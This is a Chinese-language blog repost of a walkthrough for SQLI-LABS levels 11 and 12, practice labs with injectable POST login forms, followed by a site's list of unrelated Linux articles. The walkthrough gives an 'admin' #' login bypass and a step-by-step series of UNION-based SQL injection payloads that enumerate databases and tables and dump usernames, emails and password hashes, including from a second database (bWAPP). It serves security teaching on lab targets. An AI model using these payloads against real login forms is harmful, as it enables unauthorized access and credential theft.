SQLI-LABS(Less-11、12)

Less-11(POST-Error Based-Single Quotes-String)

打开 Less-11的页面,可以看到一个登录框,需要输入用户名和密码,由本关名字可知SQL语句是单引号闭合。

万能密码

那么先尝试一下万能密码登录,用户名: admin' #、密码随便填一个:

SQLI-LABS(Less-11、12)
从上图可以看出登陆成功,并且会回显账号和密码。

其他方法

判断注入

先随便尝试一个账号密码, uname=name & passwd=pass

SQLI-LABS(Less-11、12)

显示登录失败,接着修改post包,加入 引号看是否会报错.

SQLI-LABS(Less-11、12)

可以发现加入引号之后报错了,并且判断出SQL语句的闭合方式是 单引号。到此可以发现SQL语句的报错会显示在前端页面。

判断当前数据表列数

注入语句: uname=name' order by 1# & passwd=pass

SQLI-LABS(Less-11、12)

当尝试到 uname=name' order by 3# & passwd=pass时,出现了报错,由此可以判断该表只有两列。

SQLI-LABS(Less-11、12)

判断回显位

注入语句: uname=name' union select 1,2 # & passwd=pass

SQLI-LABS(Less-11、12)

判断数用户名和据库名

注入语句: uname=name' union select user(),database() # & passwd=pass

SQLI-LABS(Less-11、12)
通过上述注入可以得知,当前数据库名为 security,当前用户为 root,接着找出这个数据库中的所有数据表。

确定当前数据库内表名

注入语句: uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # & passwd=pass

SQLI-LABS(Less-11、12)
通过上述注入可以得知当前数据库中存在 emailsreferersuagentsusers四张数据表。

确定users表中列名

注入语句: uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # & passwd=pass

SQLI-LABS(Less-11、12)
通过上述注入可以得知 users表中存在三列,分别为 idusernamepassword

确定users表中的用户名和密码

注入语句: uname=name' union select group_concat(username),group_concat(password) from users # & passwd=pass

SQLI-LABS(Less-11、12)

到此,就得到了当前表中所有的用户名和密码。

跨数据库注入

通过上面的步骤可以看到当前用户是 root用户,那么可以尝试爆其他数据库中的信息。

确定当前服务器上有哪些数据库

注入语句: uname=name' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=pass

SQLI-LABS(Less-11、12)
通过上述注入可以得知当前服务器中的数据库由: information_schemabWAPPchallengesdvwamysqlperformance_schemasecuritytest

确定bWAPP数据库中的数据表

注入语句: uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema='bWAPP' # & passwd=pass

SQLI-LABS(Less-11、12)
上图中可以看出在 bWAPP库中的表分别是 blog, heroes, movies, users, visitors

确定users数据库中的列名

注入语句: uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users' # & passwd=pass

SQLI-LABS(Less-11、12)

可以看到 users表中的列名为: id, login, password, email, secret, activation_code, activated, reset_code, admin

确定users表中的邮箱和密码

注入语句: uname=name' union select group_concat(email),group_concat(password) from bWAPP.users#&passwd=pass

SQLI-LABS(Less-11、12)

这样就成功拿到了邮箱和密码,通过查md5可以得到密码为 bug

Less-12(POST-Error Based-Double Quotes-String-with twist)

通过注入 uname=name" & passwd=pass发现SQL闭合符号为 "),其余操作均与第11关相同。

确定回显位,其余操作不再赘述:

SQLI-LABS(Less-11、12)

Original: https://www.cnblogs.com/Timesi/p/16670561.html
Author: 顾北清
Title: SQLI-LABS(Less-11、12)

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578201/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • gnutls_handshake() failed

    原文链接:https://www.zhoubotong.site/post/75.html使用git clone https://github.com/xxx.git的时候,出现错…

    Linux 2023年6月6日
    091
  • 理清计算机中的数据表示方法–2’s complement

    Bits bits是信息的基本单元,计算机通过电压的高低来确定是0还是1;这里的电压是有一定范围的,0~a视为0, a~b视为1,具体数字不用记 Data Types 同一个数字有…

    Linux 2023年6月6日
    091
  • [20220228]enq TX

    [20220228]enq TX – allocate ITL entry的测试3.txt –//上个星期的测试有点乱,重新规划测试. 1.环境:SCOTT…

    Linux 2023年6月13日
    087
  • 代码中的软件工程复习

    编写高质量代码的基本方法 通过控制结构简化代码 通过数据结构简化代码 一定要有错误处理 注意性能优先的代价 拒绝修修补补不断重构代码 性能优先策略带来的隐藏代价 软件工程师的人力成…

    Linux 2023年6月8日
    091
  • CentOS 7.6 安装 MySQL-5.7.31(RPM方式安装)

    准备工作: 注:5.7.31版本安装步骤及初始化和之前版本有较大区别 CentOS 7.6 系统: 带GUI的服务器 默认安装 MySQL 5.7.31 安装包: 1.RPM安装包…

    Linux 2023年6月8日
    081
  • 在Linux下配置RealVNC和TigerVNC

    作者:alittlemc | 更新中 | 原创文章,可能有技术理解错误,欢迎指正,请与我联系,谢谢! 命令和快速总结 realvnc创建# :会话id -name 取名字 -dep…

    Linux 2023年6月6日
    0107
  • 实现批量自动部署Linux操作系统

    实战描述: xxx公司所服务的用户IT环境中有很多的Linux系统,品种也五花八门,有RHEL、Centos、OpenSUSE甚至还有测试环境使用的RockyLinux。当有大量的…

    Linux 2023年6月7日
    096
  • 以STM32和FPGA为核心的多组件协调工作系统

    posted @2019-06-09 22:04 xutopia 阅读(709 ) 评论() 编辑 Original: https://www.cnblogs.com/xutopi…

    Linux 2023年6月14日
    0120
  • 我叫Mongo,干了「查询终结篇」,值得您拥有

    这是mongo第三篇”查终结篇”,后续会连续更新5篇 mongodb的文章总结上会有一系列的文章,顺序是先学会怎么用,在学会怎么用好,戒急戒躁,循序渐进,跟…

    Linux 2023年6月14日
    0122
  • redis的事件处理机制

    redis的事件处理机制 redis是单进程,单线程模型,与nginx的多进程不同,与golang的多协程也不同,”工作的工人”那么少,可那么为什么redi…

    Linux 2023年5月28日
    0102
  • Linux系统编程001–系统IO

    1. 文件系统:用来存储、组织、管理文件的一套方式、协议 2. 文件 文件的属性:i-node唯一表示一个文件的存在与否 文件的内容 3. Linux系统如何实现文件的操作? &a…

    Linux 2023年6月6日
    091
  • logstash写入文件慢的问题排查记录

    终于找到根本原因了!!!!! logstash部署到k8s集群内部的,当所在节点的CPU资源被其他应用抢占时,logstash的处理速度就会降低 问题现象 logstash从kaf…

    Linux 2023年6月14日
    0165
  • 大数据之Hadoop中HDFS的故障排除

    NameNode故障处理 1)需求 NameNode进程挂了并且存储的数据也丢失了 2)故障模拟 (1) kill -9 NameNode进程 kill -9 19886 (2)删…

    Linux 2023年6月8日
    0105
  • Linux动静分离与Rewrite

    一、动静分离 1.1 单台机器动静分离 1、创建NFS挂载点(NFS服务端) mkdir /static vim /etc/exports /static 172.16.1.0/2…

    Linux 2023年6月14日
    082
  • Linux下无限期使用Navicat16

    原文链接:https://www.zhoubotong.site/post/79.htmllinux 下的数据库图形化工具比较好用的有dbeaver完全免费,相比navicat,我…

    Linux 2023年6月6日
    0139
  • 磁盘空间满,如何处理?

    作为运维人员,磁盘空间报警是最寻常遇到的情况,那么遇到空间如何处理呢?这里介绍一下处理办法及处理思路。 操作系统:centos系统 、Ubuntu 1 定位目录 收到空间报警信息,…

    Linux 2023年6月6日
    0102
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球